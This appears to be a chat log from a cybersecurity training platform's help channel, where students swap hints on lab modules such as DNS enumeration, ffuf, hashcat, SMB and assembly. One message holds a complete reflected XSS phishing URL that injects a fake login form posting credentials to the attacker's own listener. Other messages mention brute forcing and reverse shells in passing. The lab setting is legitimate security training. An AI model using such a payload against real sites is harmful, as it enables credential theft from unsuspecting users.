the exercise asks for a loop and take the lenght of the result variable to another variable, i think that part is ok in my script...

[livid pier]

DM me

[inner cloud]

hello. just some noob here trying to follow the "setting up" module and got a bit confused..

I wanted to see if i could quickly get this done so I could continue doing the HTB challenges (im out of pwnbox alloted time)

in this section, under 'operating systems' is the linux section for linux users and windws section for windows users?

im a windows user that- i believe- wants a linux parrot or kail vm.. sorry if im being a noob..

im confused because i want a Linux pentesting environment. I read the Linux section and started following directions.. for setting up a Linux distribution, but the pictures show what it looks like to do this in a Linux environment. That makes me think I'm reading the wrong section :/

[violet sparrow]

Thanks for your help!

[livid pier]

If you are on a windows machine and want a linux enironment you will want to get a vm and use a linux enviroment. The windows sections is describing what you would do if you wanted a windows environment.

[viral yarrow]

In "Active Subdomain Enumeration" I run nslookup -type=any -query=AXFR inlanefreight.htb 10.129.244.216 and get some other subdomains to appear

-One of them contains a TXT record
-And 2 questions want the FQDN from the IP, but those IPs aren't listed from the above query.

Feeling stuck

[livid pier]

running that same command; exchanging 10.129.244.216 for the answer to the first question; what does that get you

[livid pier]

or are you still on the first question?

[viral yarrow]

I've found the nameserver ns.inlanefreight.htb

So I have answered the first question

but most of the rest are stumping me

[livid pier]

ALright dont give spoilers

ok well then use the first piece of advice i gave

[viral yarrow]

so swap out 10.129.244.216 with the nameserver FQDN?

[livid pier]

yes

[viral yarrow]

it says address not found

[livid pier]

did you add it to /etc/hosts?

[viral yarrow]

i thought so but maybe it reset when I had to reset the pwnbox

[viral yarrow]

add 10.129.244.216 nameserver to /etc/hosts?

[livid pier]

The FQDN

xx.inla....

[viral yarrow]

can I DM?

[livid pier]

yea

[inner cloud]

great ty VivisGhost

sry i was getting some help from someone and got distracted

[sullen hill]

hey so i am getting SMB errors after connecting to the share in 'windows fundamentals'

Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available

i followed the recommendations on the SMB enum issues post on forums and still getting the error

[sullen hill]

[manic ermine]

Did you end up solving the final assessment?

[livid pier]

which mod?

[manic ermine]

Broken Authentication

I have bruteforced usernames, bruteforced (taking into account timeouts) compliant passwords for these users and can't log in, I've tried cookie tampering but the "support can't be role" issue stumps me, and I'm trying to crack the SHA1 persistence cookie but not getting far

[feral gyro]

get some more privileged user

[manic ermine]

s*****? Am I meant to bruteforce login with the mentioned password wordlist?

[feral gyro]

rockyou ?

[feral gyro]

read the web app more carefully

[manic ermine]

Is it something to do with the country code?

[feral gyro]

ur are on the right track

[unique valve]

Check firewall on the windows target😁

[manic ermine]

Thanks! This got me further. I can be the escalated user(s) and the right role, but no flag?

[feral gyro]

dm if u need any further hints

[bold pagoda]

Hi all, im currently stuck with information gatherin - web edition at active subdomain enumeration, for the question fqdn for ip address 10.10.34.136 and 10.10.1.5, i can't see any information about those ip address when im hit the "host -al inlanefreight.htb" command, do you guys have any idea? any support is greatly appreciated 🙂

[acoustic owl]

dig is your friend.

DNS can contain multiple zones. You have found one zone with your command, but there are more. Each subdomain can be configured as an independent zone.

[lavish needle]

Hey everyone! Im doing the Footprinting module and currently stuck on the last two questions for the SMB section. Anyone willing to give me nudge with them?

[bold pagoda]

thx buddy, just solved it

[acoustic owl]

Read the section Footprinting the Service carefully
There you will be shown how to enumerate SMB

[lavish needle]

Hey! I did and I was able to to get the first second to last question - jus need the last one now

pretty confused tbh - i read the hint and used the necessary commands i felt were needed but still nothing (not giving up tho! lol)

[acoustic owl]

The file system on Linux is different than on Windows.
The root directory of Linux is / that of Windows is C:\

[lavish needle]

yes ik - ive tried all the different ways - ofc excluding the c drive

[acoustic owl]

You don't need any commands.
You just have to think about where the data would be on a Linux system.

[lavish needle]

is it okay if i shoot u a pm?

[acoustic owl]

sure

[gleaming gate]

can someone help me with this please

what am i supposed to do in this

[scarlet finch]

u apply what u learned thanks to the module

[gleaming gate]

i mean yeah

but

i cant find the "language" attribute

like

the website layout

is different

than other times

;-;

[rustic sage]

Visit the website, click on every category you can and see if you can find this "language" thing

[gleaming gate]

tried

trial and error

[rustic sage]

I can tell by head where is the thing lol, you sure didn't try enough

[gleaming gate]

💀

[languid dawn]

have the website go through your burp, visite every link, burp will make a sitemap while you do so

[gleaming gate]

where

literally

[languid dawn]

then you can look at all the urls from that website and see what loads in the background

[rustic sage]

^^^^^^^^^^^^

[gleaming gate]

oh

[languid dawn]

alternatively the company name might be a hint

[gleaming gate]

i am not very familiar with burp, how will it make a sitemap

[languid dawn]

just have your firefox use burp as a proxy, deactivate intercept in butp

and then browse the website

[gleaming gate]

how will i have firefox use it as a proxy?

[languid dawn]

ok maybe using burps is too much for that simple challenge. just browse, use your eyes, look at source code (right click view source)

[gleaming gate]

ig so

[languid dawn]

otherwise this has everything explained https://www.codegrazer.com/tutorial/burp-tutorial-beginner.html#target

and yes the certificate is broken

[gleaming gate]

it doesnt have any language thing 💀

[languid dawn]

otherwise learn burp with portswigger https://portswigger.net/burp/documentation/desktop/tools/target/site-map

[gleaming gate]

ok

thank you

[plush oasis]

hello dudes! I am working on the Footprinting module (tier 2). Have anyone solved the last question from the DNS subsection (What is the FQDN of the ...) ? I have used several wordlists with gobuster to brute force it but I have not find the correct wordlist (used all from the SecLists). I found one best-dns-wordlist.txt but it's too large and I run out of time when I try this one. Any suggestions?

[fathom bay]

did anyone do the module about ffuf? I found a flag and when i want to submit it it says its the wrong answer. There are no extra spaces or anything and im really confused.

[feral gyro]

which one

[fathom bay]

page fuzzing

i can dm you you the flag

[feral gyro]

ok

[empty zenith]

hi, can someone help me i struggle a lot on the web request module

Send a GET request to flag.php with two parameters num1 and num2 such that their sum is 1337.

there is the question.

[rustic sage]

Look up on Google how to use parameters using cURL & get request

pretty straightforward

[tidal compass]

Hi everyone. I'm still having mysql trouble on the SQL injection fundamentals lab. Sometimes I'm able to log into mysql, then the next I'm not and get the error 200 unable to connect. I've tried everything and It's driving me crazy. I can connect to my localhost, and every so often connect to the target in the lab. But as soon as I close the connection it won't let me back in. Any help would be greatly appreciated. A pm, instead of a post on here would also really help. I get responses lost in the shuffle in the thread. I'm using my own kali box and not the pwn box on academy. Thanks in advance for any help.

[rustic sage]

Can someone help me answer this question?

The Question Is:

What is the name of the group that is present in the Company Data Share Permissions ACL by default?

On WIndows Fundamentals In HTB Academy

[acoustic owl]

Proceed step by step as described. Then you will see the group name

[rustic sage]

i done that but i do not know what it means by step 8:

Using PowerShell to list details about a service

Is it Possible To Send Me The Command For Powershell ?

[livid pier]

[dull sleet]

there is a certain command for that all you need to do it look it up

[rustic sage]

ok

[livid pier]

[stiff tiger]

you can DM me if you still need a hint.

[empty zenith]

i did find it in the module

was very easy just i didnt understood the question first, thanks for the fast response also.

[rustic sage]

Oh k I see, I thought you were struggling with how to do it

nice then

np

[empty zenith]

i also got a question about buying cubes ? i am planning on buying monthly subscription, is there any min month of buying like i am signing for X months ?

[small sluice]

I am trying to answer the second question on the Login Brute Forcing section of Skill Assignment - Website. I have used hydra to brute force the admin panel and have tons of hit. However, when I enter matching usernames and passwords in the admin panel it just loops back to the admin panel login screen. Anyone have any advice?

[west canopy]

@small sluice feel free to DM me bud 🙂

[small sluice]

Thanks for the help and great tips.

[hazy grotto]

Im having alot of trouble with the web proxy module

Intercepting web requests. At the part where it talks about HUD

[vivid onyx]

Use cURL from your Pwnbox (not the target machine) to obtain the source code of the "https://www.inlanefreight.com" website and filter all unique paths of that domain. Submit the number of these paths as the answer.

Guys someone pls tell me the answer

[potent panther]

Hey everyone, just wondering if someone could help me out here. I'm currently up to the "working with web services" in the linux fundamental course. I am attempting to use the following command (apt install apache2 -y) in the workstation box and am currently getting the following error. I've attempted to solve it by googling and haven't gotten anywhere.

When it refers to network error, my side of the connection is operating fine from what I've gathered.

E: Failed to fetch https://deb.parrot.sh/parrot/pool/main/a/apache2/apache2-utils_2.4.52-1~deb11u2_amd64.deb Cannot initiate the connection to deb.parrot.sh:443 (2001:41d0:303:d269:aaaa:feed:dead:beef). - connect (101: Network is unreachable) Cannot initiate the connection to deb.parrot.sh:443 (2001:41d0:602:3520:bbbb:feed:dead:beef). - connect (101: Network is unreachable)
E: Unable to fetch some archives, maybe run apt-get update or try with --fix-missing?

[hazy grotto]

Im having alot of trouble with the web proxy module
Intercepting web requests. At the part where it talks about HUD

I can't get to this screen.

[low echo]

Has anyone completed the OSINT module? I have a question about one of the answers

[autumn pilot]

yup, I did

[merry steppe]

hello i enrolled in linux fundamentals but cannot ssh into the target

i ran this command: ssh htb-student@ip

[autumn pilot]

you need to change the IP with the IP address of the target

[merry steppe]

yes i did

connection timed out

[autumn pilot]

where are you running the command in the workstation on academy or somewhere else?

[merry steppe]

in my own comp shell? because i cannot run the instance in the academy

[autumn pilot]

then, have you connected to the VPN

[merry steppe]

you mean the ovpn right

[autumn pilot]

correct, yup

[merry steppe]

im unable to import in virtual box thou

[autumn pilot]

this article will help you connect to the VPN, it is for the main platform, but the same steps are applied with the VPN in academy https://help.hackthebox.com/en/articles/5185687-gs-introduction-to-lab-access

[merry steppe]

thanks a lot i will have a look and try to do it. will study now for test tomorrow haha

[devout pelican]

Information gathering module - active subdomain enum section

Could anyone give me a hint please with question one? :)

I've read the written hints here but I not get any result from nslookup or dig.

[lethal atlas]

what is the nslookup command you tried?

[devout pelican]

It is
nslookup -type=NS inlanefreight.htb
like written in the beginning of the section

[lethal atlas]

you need to add the target ip to the end of the command.

if you read the man page it mentions that sometimes you need to put the address of the name server as well as the host.

[bold pagoda]

Hi all, currently stuck at Virtual Hosts module at Information Gathering Web Edition, in the last question regarding the specific vHost that starts with the letter "d", I already tried ffuf with the namelist.txt from SecLists and filter it to match 3 words, but still can't find the vHost that starts with the letter "d", is there any other clue?

[lethal atlas]

can I see the command you used.

I just checked and the vhost is definitely in the namelist.txt file.

[devout pelican]

Thx. It's working 😀

[lethal atlas]

yw

[bold pagoda]

Can i shoot u a pm?

[lethal atlas]

yes

[devout pelican]

btw i feel like a little fundamental dns knowledge is needed for pass this module.

Is there any good article that fills the gap? Mainly in a pentesting perspective of course :)

[lethal atlas]

Read up on zone transfers as much as you can find. You will need to understand how it works to pass the module. Although active Subdomain Enumeration is probably the hardest part.

[devout pelican]

Thx!

[hazy grotto]

Please guys. I’m having trouble with web proxies. Specifically the part with the zaproxy and getting the HUD button on break to toggle on and off

[dry pumice]

hi ! I'm on the Windows Fundamentals module and I don't understand how we're suppose to read the file to access the flag. I have try to update the permission of the users but I always get the "Access Denied"

[naive sinew]

It's working here, i just clicked on flag.txt and it worked

But I can't connect to the IP using Smbclient, i also can't ping the ip adresss, but im connected to it remotely using xfreerdp

[hybrid panther]

So the intro to assembler task 1 has me stumped. xor is not an issue but the byte order is. Can anyone provide a hint on the order of the xor'd bytes? Start at the top of the stack or the bottom and does the byte order need to be reversed? Seems like I've tried every combination and still fail.

[honest flower]

hi guys

i'm in the skills assessment of stack based buffer overflow in windows x86 module

i've downloaded the zip folder with the vulnerable .exe and i've installed it in my windows vm to debug it

when i try to connect remotely to the app by nc.exe or by a python script i wrote the app crashes before i can enter any input

any suggestion?

[lethal atlas]

which part of the module?

[dry pumice]

structure

[lethal atlas]

I was able to just browse to the directory and read the file.

[dry pumice]

the fuck

as htb-student ?

[lethal atlas]

yeah. Let me go back and verify.

[lethal atlas]

so yes, logged in with xfreerdp, opened a cmd prompt, went to the directory and then used type flag.txt to get the flag. you can also use file explorer and just double click it

[honest flower]

have you something also about stack based buffer overflow on windows x86? i'm stuck on the last skills assessment...

[dry pumice]

i log using rdesktop, maybe that's why... I'm gonna try again, thank you !

[lethal atlas]

also make sure you are trying to get into the correct directory. the one with a bunch of letters and numbers is not it

[scarlet finch]

I didn t do it tbh cause I wanted to advanced exploitation on linux I will do it for windows soon

but if u want there are some videos about this skill asessment

on google

https://www.youtube.com/watch?v=gLK3_WsjSag Remember. The main purpose is to understand what are u doing. Not to earn cubes. So dont watch this video jus for the cubes

[honest flower]

i really appreciate. i will take a look. thanks to pointing me in the right direction

[scarlet finch]

np

[hollow hearth]

Afternoons, I am having a good doubt, when executing ffuf, it does not show me the results like the examples, however I have seen another guide and it has worked more with the results of the different directories, but here from the pwnbox I cannot advance , there is some step that I am omitting if you could guide me, thanks!

[lethal atlas]

I can help you with that. Show me the command you are trying

[hollow hearth]

this is my comand to try

[lethal atlas]

do you have hackthebox.eu in the /etc/hosts file?

[hollow hearth]

no

[lethal atlas]

or academy.htb

you need to

[hollow hearth]

and what this is ip?

would that be the ip?

[lethal atlas]

Hang on I am checking.

[hollow hearth]

Right now I don't have anything in that file, but I could add it with that command from the previous page.

[acoustic owl]

i think the pwnbox has no internet connection.

try it from your PC or VM.

[hollow hearth]

I thought that, but I saw the example of another person and it worked for him

[lethal atlas]

ok for that one you really only need to ffuf the hackthebox.eu site. not academy.htb.

[hollow hearth]

yes

now my question is if i should add with that ip and domain, within hosts?

[lethal atlas]

no you dont need to

[hollow hearth]

.

I tried that and it didn't work for me, I think I'm missing something

[gilded veldt]

are you trying to do virtual host fuzzing? you should be using this according to the ffuf docs: ffuf -w /path/to/vhost/wordlist -u https://target -H "Host: FUZZ"

[lethal atlas]

try http only

[hollow hearth]

ok

[lethal atlas]

strange tho cause it works with both htttp and https for me

[acoustic owl]

if you are a subscriber, as far as I know you have internet in the pwnbox, but as a free user you do not.

[lethal atlas]

good point bunny, I am using my own Kali VM

[hollow hearth]

but, then I must add that ip and domain to the hosts if I do not have internet in the pwnbox, I did not try the latter. I will try the same in my local virtual machine

[acoustic owl]

i use also my own VM

[hollow hearth]

undrstnd

ty for u help

[lethal atlas]

without internet access the pwnbox wont do anything even if you change hosts.

[acoustic owl]

no, this does not help you.
You only need the entry in the hosts file if your DNS resolver cannot resolve the iP, or if you want to overwrite an entry.

[hollow hearth]

ty brothers

i can

on my vm

[fervent shale]

I plan to start the Bug Bounter Hunter path, how much time does it take approx. to finish it ?, from a beginner's perspective.

[lethal atlas]

Depends on how fast you learn and how much time you have to dedicate towards it. I am working on it now, started 3 weeks ago but I worked thru all the tier 0 and tier 1 stuff before I started a path. I am currently at 50%

I also had Covid and didnt touch my computer last week.

[fervent shale]

Alright, thanks. The idea for me is to complete it in one semester, with 3 hours/week of work.

[weary wolf]

Hello all, I'm having trouble with a question:

[scarlet finch]

a semester ?

it s gonna be enough dw

[weary wolf]

trying to figure out how to get the screenshots uploaded

I'm clicking the "+" and it just says "use / command"

[livid pier]

Welcome back

[lethal atlas]

thx bro. How have you been.

[livid pier]

Pretty good, finished academy last week. Just waiting for them to release the last modules

[lethal atlas]

Hell yeah. Congrats on teh accomplishment.

[livid pier]

Thank you

[west canopy]

@livid pier you finished every module?

[livid pier]

now i just need to get a job😂

[livid pier]

Everything up to tier 2

I have the student plan

[west canopy]

I need you to complete every single module available

so i can go to you when i need help

[livid pier]

lol I need more cubes

I am going to be able to buy one 500 cube mod but thats it

Im thinking linux privesc or bloodhound

[west canopy]

linux priv esc is very nice

[dusty timber]

Hey! If you don't mind me asking, do you think it was worth it? Quite a lot must have been overlapping?
I did the intro to both pentest and bug bounty where I also continued and now at 20%. But now that I read your comment im considering doing something similar 😛

[hazy grotto]

@lethal atlas can you help me please?

[hybrid panther]

Ok I got this. Hints for those struggling: 1) the top of the stack after the original encoded values are added is the start of the shellcode - so decode 0x69751244059aa2a3 and you have the start of the shellcode; 2) I used cyberchef (https://gchq.github.io/CyberChef/) to xor this first value and the last value on the stack, so I knew what to look for in my gdb dump - this will tell you if you need to reverse byte order and/or instruction order; 3) watch out for padding that gets dropped by gdb - when combining the QUAD WORDS they need to have those leading zeros.

[twin raft]

Hey carnales, someone can help me?, pls. I'm on "File Upload Attacks" - "Limited File Uploads"

[hazy grotto]

Can anyone help me with Web Proxies module and the zaproxy app?

Does the PWNBOX work witht he modules too?

[twin raft]

If i remember correctly, yes

[hazy grotto]

@twin raft Have you done the web proxies module?

[livid pier]

[twin raft]

Yes man

[hazy grotto]

Dude this is like 24 hours now stuck

PLEASE HELP me

@twin raft I can't get to this screen in zaproxy

[twin raft]

Oh i see

You need to get into HUD

[hazy grotto]

Yeah

I get it open

Can i PM you?

[twin raft]

Sure

[low echo]

Can I DM you about something on the OSINT module?

[rustic sage]

Has anyone here started off a complete beginner and became a decent pen tester just from hack the box ?

[west canopy]

Anyone able to give me a nudge on Information Gathering Web Edition "Active Subdomain Enumeration" , first question? I've tried using nslookup and gobuster fuzzing for dns but I can't find the nameserver. I really don't understand what I'm supposed to do.

[rustic sage]

Good day to all. I'm having trouble with one question in the "Linux Fundamentals" module. "Which kernel version is installed on the system? (Format: 1.22.3)". I went through all the unname functions, but I still can’t find the right version of the kernel. (Linux pwnbox-base 5.14.0-2parrot1-amd64 #1 SMP Debian 5.14.6-2parrot1 (2021-09-25) x86_64 GNU/Linux neither 5.14.0-2parrot1-amd64 nor 5.14.0 nor 5.14.6 -2parrot1 or 5.14.6 the bot doesn't take it as a correct answer...) Help me please.

[solar flume]

How do you guys get the root password for your pwnbox? I'm trying to do commands but it needs sudo access.

[west canopy]

@solar flume there is a document on the desktop with credentials 🙂

[solar flume]

Thank you so much.

[west canopy]

@rustic sage might be a silly question but you are SSH'd into the target right?

[rustic sage]

yes

I thought that you need to put Parrot OS on hardware, and not dance with a tambourine in the VM... oh

[west canopy]

Yea i'm seeing a bunch of "Parrot" so it looks like you might be running the command just on the pwnbox.

You want to SSH into the target from the pwnbox and then run the command

[rustic sage]

still gives an error ... ok, you have to demolish Ubuntu and deal with

[hazy grotto]

Any reason why this is doing this? linux fund

[raven cairn]

Use sudo

[livid pier]

you still stuck?

[west canopy]

Yes I need a sanity check

[hazy grotto]

you da bomb

[hazy grotto]

This is what i get when i go to the local host after install apache

[west canopy]

@livid pier just saved me from having a complete mental breakdown , thank you good sir!

[livid pier]

🥳

[raven cairn]

I’ve been stuck on this problem for ~2 hours in the hashcat module. I’ve been using the hashid command. Is there anything I’m doing wrong?

[raven cairn]

Try “Sudo systemctl start apache” i think

[west canopy]

@raven cairn try putting the hash into a file and run hashid against that

[west canopy]

@hazy grotto try lowercase sudo 🙂

[raven cairn]

Case sensitive!!!

[raven cairn]

Holy crap you are a lifesaver. I am still a bit confused why i need to put the hash into a file for it to work! 🤣

[west canopy]

Yep . Also later in the module when you run into super long hashes, you will need to put them into a file and run hashcat against the file in order to crack it

It might be something with the way your terminal interprets the $ sign

[raven cairn]

Try apache2

My b

[hazy grotto]

that's prolly what it is

lol

[hazy grotto]

nvm lol

Do they leave out stuff on purpose in these modules?

[raven cairn]

This module is difficult if you dont know much about linux

If you want to get better at linux i would recommend using it as a daily driver

[hazy grotto]

cuz ive been working on like 3 different ones and man. i feel like im missing huge parts of instructions

thank god for @twin raft. He helped me alot on my web proxy question

i tried doing a dual boot with kali and that was the biggest mistake ive ever made

[raven cairn]

Why?

[hazy grotto]

Because ive never touched linux before. I was watching some dork on youtube and the next thing you know my keyboard stops working

[raven cairn]

You learn by failing and breaking things

[hazy grotto]

once i got that working kali woulnd't boot but windows wouldn't

yeah. it was a learning experience i wish i wouldn't have had to learn.

[raven cairn]

That has happened to me a couple times lol

Do you know how to use vm’s?

[hazy grotto]

personally. i'm really happy there is material out there. but i think maybe someone needs to go through this again and make it a little more friendly

[hazy grotto]

Yeah. I have kali set up on my vm now

[hazy grotto]

you got any more ideas on this pache2 ubuntu default page?

[raven cairn]

The modules are quite hard but so is pentesting

[raven cairn]

It worked on my machine. It is difficult doing tech support online. That part isn’t the most important part of the module as a whole so i suggest skipping it and coming back to it later.

[livid pier]

[raven cairn]

Probably a nooby question but i have also been stuck on this problem for quite a long time. It is on the hashcat module.

I tried doing this in the pwnbox and it didnt work either so i dont think it is a problem with my machine. Probably something pretty stupid i am overlooking 🤣

[livid pier]

You need to download that library

[raven cairn]

🤦🏻‍♂️

[raven cairn]

🤣 thank you sooooo much. I’m so tired and i can barely think

[west canopy]

@raven cairn try this command

It used to be native on the pwnbox, i guess since they updated it the pwntools is missing

[autumn pilot]

Go for it

[livid pier]

[rustic sage]

guys someone can help me for the introduction to hack th box .I have serious doubts and I don't try to keep going with the default modules of the platform

?

[livid pier]

What do you need help with?

[fathom bay]

are you new to hacking?

[raven cairn]

Intro is a pretty difficult module if you are new. What do you need help with? If that is your first module i would recommend doing some other ones first.

[grand gull]

HTB intro to assembly

Code:
global _start

section .data
message db "Fibonacci Sequence:", 0x0a

section .text
_start:
call printMessage ; print intro message
call initFib ; set initial Fib values
call loopFib ; calculate Fib numbers
call Exit ; Exit the program

printMessage:
mov rax, 1 ; rax: syscall number 1
mov rdi, 1 ; rdi: fd 1 for stdout
mov rsi,message ; rsi: pointer to message
mov rdx, 20 ; rdx: print length of 20 bytes
syscall ; call write syscall to the intro message
ret

initFib:
xor rax, rax ; initialize rax to 0
xor rbx, rbx ; initialize rbx to 0
inc rbx ; increment rbx to 1
ret

loopFib:
add rax, rbx ; get the next number
xchg rax, rbx ; swap values
cmp rbx, 10 ; do rbx - 10
js loopFib ; jump if result is <0
ret

Exit:
mov rax, 60
mov rdi, 0
syscall

Question:
Try assembling and debugging the above code, and note how "call" and "ret" store and retrieve "rip" on the stack. What is the address at the top of the stack after entering "Exit"?

What I’ve done:

• From what I understand the stack pointer (rsp) points to the top of the stack

• I set a breakpoint after I enter the exit procedure and $rsp is 0x007fffffffe028 so I enter that and it is wrong

• So I try this, the call instruction pushes the $rip (next instruction pointer) to the stack then jumps to the specified procedure, so I break right before the call instruction is processed and we enter the exit procedure and look at the $rip

• I see the $rip is 0x0000000040100f which will be pushed to the stack upon processing the call instruction and entering the exit procedure

• I enter this and it is also wrong

My question: What am I not understanding, what am I missing

Note: I have tried to attach my gdb output but the images are not uploading.... Im not sure what's up with that

[chilly panther]

Hi guys, just started Linux Fundamentals and I'm at the user management section. When I try and use the sudo command it asks for a password. Is this just a generic password?

[empty zenith]

in where

[chilly panther]

Just in the terminal, first command is $ sudo cat /etc/shadow and it asks for a password

[empty zenith]

i mean

target from the exercice or on you own machine

[chilly panther]

oh sorry, target from the exercise

[empty zenith]

so if its the target you should be giver a password that you can use

the password that you used to ssh into the target

[chilly panther]

I'll give it a go, thanks

[chilly panther]

Still not working. The password worked on the last section to ssh. Now i've exited the ssh and I'm trying to use sudo commands

[empty zenith]

can you send a screenshot

maybe try to reset the target

[chilly panther]

okay, i terminated the instance and now I can't spawn it again until tomorrow lol

[empty zenith]

tf ?

you terminated the wrong one buddy

you had to restart the target not you pwnbox

🤦

[chilly panther]

sorry man, complete noob

[raven cairn]

Run a parrot vm

[misty remnant]

what was the prize for the ffuf module. I am on my mobile phone and can't see it😂

[empty zenith]

10 cubes

@misty remnant

[misty remnant]

ok thx

[misty remnant]

so less?

[empty zenith]

less wha

[misty remnant]

i guess it is more expensive

cheape

[empty zenith]

its just 10 cubes

[misty remnant]

ok and Using Web Proxies?

[empty zenith]

idk

i'll check it later

i do file upload but im stuck at one question

how am I suppose to upload a file to the rdp if i cant get the rdp do anything like its not connected to the internet

[slow ruin]

Stuck on getting flag5 on Linux Privilege escalation. I am able to get a dumb shell through netcat but unable to upgrade the shell to fully interactive shell. Could someone help me out with how to do this? I have tried the stty raw -echo and it does not seem to work for me

[hollow parcel]

Can you give me the hack code that gives robux in roblox please

[main vapor]

@slow ruin zsh or bash?

[misty remnant]

would you recommend the using web proxies module?

[slow ruin]

I was able to get it to work and finished the skills assessment. Whew was stuck on that for 3 days

[raven cairn]

Why not?

[misty remnant]

Did you do the module

?

[rotund mountain]

I had the same problem before when I didn't run the python command to open a bash shell. Was that your problem?

[onyx wasp]

hey guys can anyone tell me what is the diff b/w prolabs-dante and prolabs-aptlabs ???

@here

[livid pier]

[fathom bay]

SQLMap Essentials, case10 is not working as intended, i dont need to bypass anything

[empty zenith]

the hash given is not working

oh fuck

i did it mutiple time and it worked

[hollow hearth]

Hello everyone, I am trying to solve this questionnaire, I have followed the steps, but at the time of the scan it gives me a number of results, how do you know which is the correct vhost? I've been trying all of them but I can't move forward

[fathom bay]

read the module again

what differences do you see between admin result and the others

[hollow hearth]

can solve, I had not noticed that "pun"

ty for hlp

[grand grove]

Yop I have some question about the course Broken Authentication...

[livid pier]

Whats up?

[hollow knot]

Can someone give me a nudge in privilege escalation in the getting started module

[livid pier]

Whats up?

[hollow knot]

may I dm you?

[livid pier]

ya

[rustic sage]

Have someone completed the "Intro to Assembly Language" module?

There is a question in the "Procedures" section that I am not sure how to answer that.

It asks about the address at the top of the stack after entering the "Exit", but that is subjective to the machine running the code, given that I am using call to enter it.

[fathom bay]

can someone help me with the "SQLMap Essentials"? I need help with the injection for skill assesment, i don't understand what im missing. Feel free to dm me if you want

[acoustic owl]

Which question do you have problems with?

[fathom bay]

last one, skill assesment

[rustic sage]

DM me

Your command in DM @fathom bay

[fossil crescent]

For Web Attacks - Advanced File Data Disclosure -- Was anyone able to get the CDATA method to work? I tried it and could not get it to output anything... was able to succeed using the error method.

[livid pier]

Same

[fossil crescent]

Anyone avail to DM on the Web Attacks -- Skills Assessment? I'm 99.999% certain I know intended route to elevate my privileges, but keep getting access denied... there's a clear item that needs to be done in order to make things work (which I'm 99.999% certain I'm doing), but can't figure out what else I'm missing. (Don't want to say any more in public to avoid spoilers). Did see something else that's a possibility (although doesn't seem like would belong to this module, but tried it anyhow in conjunction to no avail.)

[livid pier]

You still stuck?

[rustic sage]

Good day to all. I'm using pwnbox-base and having trouble with two LINUX FUNDAMENTALS/System Information questions: "Which shell is specified for the htb-student user?" and "Which kernel version is installed on the system? (Format: 1.22.3)". I'm afraid that the AI is too smart and does not consider the answers "bash" and "5.14.0 (or 5.14.6)" correct and throws an error all the time. I have already ceased to understand what is required of me in these Questions.

[livid pier]

What section?

system info?

[rustic sage]

yes

[livid pier]

bash is close

/something/bash

[rustic sage]

danke schöne

[rustic sage]

don't troll me, in the task itself before the question there is an explanation of the "uname" command, I just don't understand what is required of me, entering "5.14.0-2parrot1" or "5.14.6-2parrot1", or 5.14.0 (or 5.14.6) as specified in the task (Format: 1.22.3) no does not result in --> "Error
Incorrect answer!"

[livid pier]

bruh I just did it

you dont have the right answer

did you ssh into the target box?

it seems like you are running the command on your attacking machine

are you trolling me?

[rustic sage]

uh, yes I run "Workstation"

[rustic sage]

it’s better to have Parrot on a virtual machine than on hardware (but I still don’t understand which version of the kernel is required from me in the question)

[livid pier]

Did you do these steps? if se screen shot it like I did

lol I just realized you dont even need to uname -r here

[upper vault]

bois, tryin' to check mark the 'Phishing' section of the 'XSS' module, having trouble getting the /phishing/send.php to accept my reflected xss url, comes back with "Issue in sending url". My php listener is working great, no connection problems, I think its some kind of logic issue with what it's expecting, since it has to not only accept the url, but utilize the login forms and then send it out

here's my url

|| http://10.129.185.176/phishing/index.php?url='><img+src%3D'https%3A%2F%2Fwww.hackthebox.eu%2Fimages%2Flogo-htb.svg'><h3>Please+login+to+continue<%2Fh3>+<form+action%3Dhttp%3A%2F%2F10.10.15.249>+<input+type%3D"username"+name%3D"username"+placeholder%3D"Username"><br><input+type%3D"password"+name%3D"password"+placeholder%3D"Password">+<br><input+type%3D"submit"+name%3D"submit"+value%3D"Login">+<%2Fform><script>document.getElementById('urlform').remove()%3B<%2Fscript><img+src%3D' ||

if you're on the vpn it might even work for you

oh btw disclaimer please don't put your -actual- creds into this thing

[feral gyro]

it worked for me but on the 2nd time

[upper vault]

@feral gyro so maybe i should just keep spamming it?

[feral gyro]

i think so

i tried 2 times

[upper vault]

@feral gyro gotcha, I'll see about using the template they line out instead of what i wrote too, might help

[feral gyro]

try harder

[upper vault]

ikr

https://tenor.com/view/cat-type-fast-busy-kitten-gif-16655467

[upper vault]

Mission: Complete!

It was the layout, mine was prettier, so it didnt like it

whah can i say...Im a web dev sooper amadeus

https://tenor.com/view/gta-respect-mission-passed-video-game-mission-complete-gif-17882011

[livid pier]

@rustic sage did you resolve your issue?

[rustic sage]

I’m on HTB academy are we allowed to ask questions about sections we are stuck on?

Tried to fix it on my own but no luck

[feral gyro]

u are on the right place

[echo willow]

I've been stuck for months on this. Have you find a solution?

[livid pier]

Tellem @rare jackal

[twin raft]

Hi community, I'm on "File Upload Attacks" - Skill Assessment, i already found the vulnerable way to upload with and i got the accepted extensions and the accepted content-types but i don't know where the page is uploading the files, someone can help me?

Pls

[lime fractal]

Doing the Attacking Web Applications module...CMS - Attacking Wordpress....i have found the contents of flag.txt....but it will not accept the answer. Any one I can address this with?

[livid pier]

Dm me

[hybrid panther]

There's a section in GNU Debugger (GDB) that talks about $rip-relative addressing. Assemble and run in GDB. Set a break at Exit and examine the stack.

[hybrid panther]

Make sure you are using GEF with GDB. The GNU Debugger section talks about install. Set your break at Exit and examine the top of the stack not $rsp. $rsp is a pointer to the top of the stack memory address. You can also examine the value of $rsp (top of stack) at the Exit break point by typing the command x/g $rsp in gdb.

[feral gyro]

still stuck?

[twin raft]

I advanced a bit, I managed to know the name of the directory where the files are uploaded, when I go to it in the URL the page goes blank (I think it's a good sign), but then I try to add the name of a file that I have uploaded but it gives me 404 not found

[feral gyro]

dm

coz might spoil

[leaden quail]

HeY guys, while im working through the modules i have some connection problems to the boxes time to time what is a bit annoying. Have some of you the same problem?

even when im in the pwnbox

any solutions?

[stark jolt]

Hi guys. Could you help me with Live Engagement from Shells& Payloads in private message? I got stuck with second machine.

[rotund mountain]

Literally came here to ask this same question! I can't connect from my local vm or the browser pwnbox

[leaden quail]

i got contact with the support. He told me this is a unique Problem and i should wait till Friday for an update...

I had this problem since a few days

[rotund mountain]

Alright! I've had it go away once or twice but I haven't been able to connect all night unfortunately

Thank you

[leaden quail]

when you continue on a another module it will work sometimes...

[rotund mountain]

I see. Makes sense. Hopefully they fix it soon

[paper crag]

You need to read the source code of the upload.php file somehow...that will tell you everything you need to know...

[twin raft]

Thanks bro

[lethal atlas]

